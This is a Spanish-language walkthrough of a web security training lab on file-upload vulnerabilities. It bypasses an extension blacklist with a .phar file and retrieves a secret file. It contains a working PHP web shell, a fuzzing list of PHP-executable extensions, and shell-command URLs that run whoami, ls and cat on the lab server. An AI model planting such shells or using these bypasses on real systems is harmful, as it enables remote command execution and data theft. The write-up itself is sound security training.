File Upload Vulnerabilities Lab 4
Skills
- Web shell upload via extension blacklist bypass
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio
contiene una función
de carga de imágenes vulnerable
, ciertas extensiones
de archivo
están blacklisteadas
, pero esta defensa puede ser eludida debido a una falla fundamental en la configuración
de esta blacklist
. Para resolver el laboratorio, debemos subir una web shell básica en PHP
, utilizarla para extraer
el contenido
del archivo /home/carlos/secret
y enviar este secreto utilizando el botón proporcionado en la barra del laboratorio. Podemos iniciar sesión
con nuestra propia cuenta utilizando las siguientes credenciales: wiener:peter
Resolución
Al acceder
a la web
nos sale esto
Pulsamos en My account
e iniciamos sesión
con las credenciales wiener:peter
Vemos que existe un campo
de subida
de archivos
Si inspeccionamos
con donde
se aloja
la imagen
vemos que es en la ruta /resources/images
Nos creamos un archivo llamado shell.php
y lo subimos
1
2
3
<?php
echo "<pre>" . system($_REQUEST['cmd']) . "</pre>";
?>
Al subir el archivo nos sale un error
Subimos el archivo nuevamente y capturamos la petición con Burpsuite
En Hacktricks hay una lista de extensiones que pueden interpretar código php https://book.hacktricks.xyz/pentesting-web/file-upload#file-upload-general-methodology, nos creamos una lista con estas extensiones
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# cat extensions.txt
.php
.php2
.php3
.php4
.php5
.php6
.php7
.phps
.phps
.php
.phtm
.phtml
.pgif
.shtml
.htaccess
.phar
.inc
.hphp
.ctp
.module
Mandamos la petición al intruder de Burpsuite y seleccionamos la extensión
Nos vamos a Payloads, pulsamos en Load, cargamos la lista de extensiones, en la parte inferior de esta ventana desmarcamos el Payload encoding
y pulsamos en Start attack
Abrimos nuevamente el inspector
de chrome
y vemos que el archivo subido se aloja en /files/avatars
Desde el repeater de Burpsuite he ido mandando los payloads manualmente hasta que he dado con el .phar el cual si me ha interpretado https://0a20003e03543e85818a53bf005100f3.web-security-academy.net/files/avatars/shell.phar?cmd=whoami
, he tenido que hacerlo de esta forma porque los archivos subidos se van eliminando
Listamos
el contenido
de la home
de carlos https://0a20003e03543e85818a53bf005100f3.web-security-academy.net/files/avatars/shell.phar?cmd=ls%20/home/carlos
Obtenemos el contenido del archivo secret https://0a20003e03543e85818a53bf005100f3.web-security-academy.net/files/avatars/shell.phar?cmd=cat%20/home/carlos/secret
Submiteamos
la solución